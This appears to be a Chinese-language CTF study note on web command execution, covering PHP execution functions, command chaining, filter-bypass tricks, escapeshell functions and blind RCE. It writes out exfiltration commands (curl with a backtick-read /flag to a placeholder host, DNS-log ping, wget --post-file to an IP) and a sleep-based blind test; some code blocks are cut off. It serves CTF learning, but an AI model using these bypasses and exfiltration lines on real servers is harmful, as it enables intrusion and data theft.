CTF中的命令执行总结
前言
最近在复习总结关于CTFWEB
方向的考点,因为之前虽然学过,但是一直并没有成体系的笔记或者文章发布。
于是最近趁着在系统的学习 CTFWEB
方向的考点。对 CTF 中的命令执行做一次总结。
PHP中的命令执行函数
system
system
— 执行外部程序,并且显示输出
参数 | 说明 |
---|---|
command | 要执行的命令 |
返回值: 成功则返回命令输出的最后一行,失败则返回 false
。
passthru
passthru
— 执行外部程序并且显示原始输出
参数 | 说明 |
---|---|
command | 要执行的命令 |
返回值: 成功时返回 null
, 或者在失败时返回 false
。
exec
exec
— 执行一个外部程序,并返回执行结果的最后一行内容。
参数 | 说明 |
---|---|
command | 要执行的命令 |
output | 如果设置该参数则使用命令执行的结果填充该数组。 |
返回值: 命令执行结果的最后一行内容,失败时返回 false
。
shell_exec
shell_exec
— 通过 shell 执行命令并将完整的输出以字符串的方式返回。
参数 | 说明 |
---|---|
command | 要执行的命令 |
返回值: 返回已执行命令的输出类型为string
,如果无法建立管道,则为 false
,如果发生错误或者命令不产生输出则为 null
。
该函数同执行运算符
,也就是一对反引号。
如果禁用了 shell_exec
函数的执行,那么反引号执行时无效的。
popen
popen
- 打开进程文件指针,默认只会执行程序,并不会打印程序的执行结果。
参数 | 说明 |
---|---|
command | 要执行的命令 |
mode | 模式。r 表示阅读,w 表示写入。 |
返回值: 返回打开文件的指针。
如果想要获取命令执行的结果,则需要使用 fread()
读取文件指针。
命令拼接符
Windows 和 Linux
1 | command1 | command2 # 管道符前面和后面的命令都会执行,只不过只会返回后者的命令执行结果。如果1执行错误,则2不再执行 |
Linux 独有的
1 | command1;command2 # 先执行1再执行2,不管1成功与否都会执行2 |
Bypass 过滤
空格的过滤
1 | $IFS # 不推荐 |
关键字过滤
假设题目过滤 flag.php
关键字
1 | cat fl\ag.php # 反斜线转义 |
cat命令过滤
可以尝试上面关键字过滤的方法,也可以使用如下命令做等价替换:
1 | cat # 从第一行开始显示全部的文本内容 |
escapeshe[arg/cmd]
关于这俩函数的 bypass 请见文章: https://paper.seebug.org/164/
escapeshellcmd
escapeshellcmd
— shell 元字符转义
参数 | 说明 |
---|---|
command | 要转义的命令 |
1 |
|
而 escapeshellcmd
作用有:
- 确保用户只执行了一个命令
- 用户可以指定不限量的参数
- 用户不能执行不同的命令
escapeshellarg
escapeshellarg
— 把字符串转义为可以在 shell 命令里使用的参数
参数 | 说明 |
---|---|
args | 要转义的参数 |
1 |
|
而 escapeshellarg
作用有:
- 确保用户只传递一个参数给命令
- 用户不能指定更多的参数,只能是一个参数
- 用户不能执行不同的命令
无回显 RCE
请求带出
HTTP 请求带出
1 | curl your_ip:your_port/?query=`cat /flag` |
可以从结果中看到,这里我们的文件内容是 flag{...}
但是该符号由于是特殊字符,自动删除了,于是我们可以使用base64的形式进行编码之后传输。
DNSlog请求带出
1 | ping `whoami`.yourname.cn |
但是由于是通过域名解析获取的文件内容,所以文件内容不能有特殊字符。也不能进行base64编码,因为base64编码里面可能有 =
。
所以只能选择十六进制编码:
1 | ping `xxd -p /flag`.yourname.cn |
但是由于域名的长度限制,故而只能带出最后几位字符,于是如果能使用 复制、剪切、反弹shell等功能尽量不要选择 DNSlog
外带。
wget 请求带出
wget 的 --post-file
参数允许从一个文件中读取内容作为 POST 请求体的内容。
1 | wget --post-file ./flag 120.48.128.24:2333 |
请求带出平台
平台地址 | 说明 |
---|---|
http://www.dnslog.cn/ | 只能使用 dnslog 外带,另外很多防火墙会 ban 掉该域名。 |
http://ceye.io/ | 可以使用 http 外带和 dnslog 外带,推荐。 |
bash 时间盲注
截取
在 shell
中字符串截取可以使用 cut -c number
其中的 -c
参数指定的 number
表示截取第几个字符。
比较
使用 shell
中的 if 判断语句即可。其语法结构如下:
1 | if condition |
例如判断 /flag
文件的第一个内容是不是 f
,如果是就延时5
秒,否则什么都不做。
1 | if [ `cut -c 1 /flag` = 'f' ];then sleep 5;fi |
脚本编写
1 | import requests |
执行结果: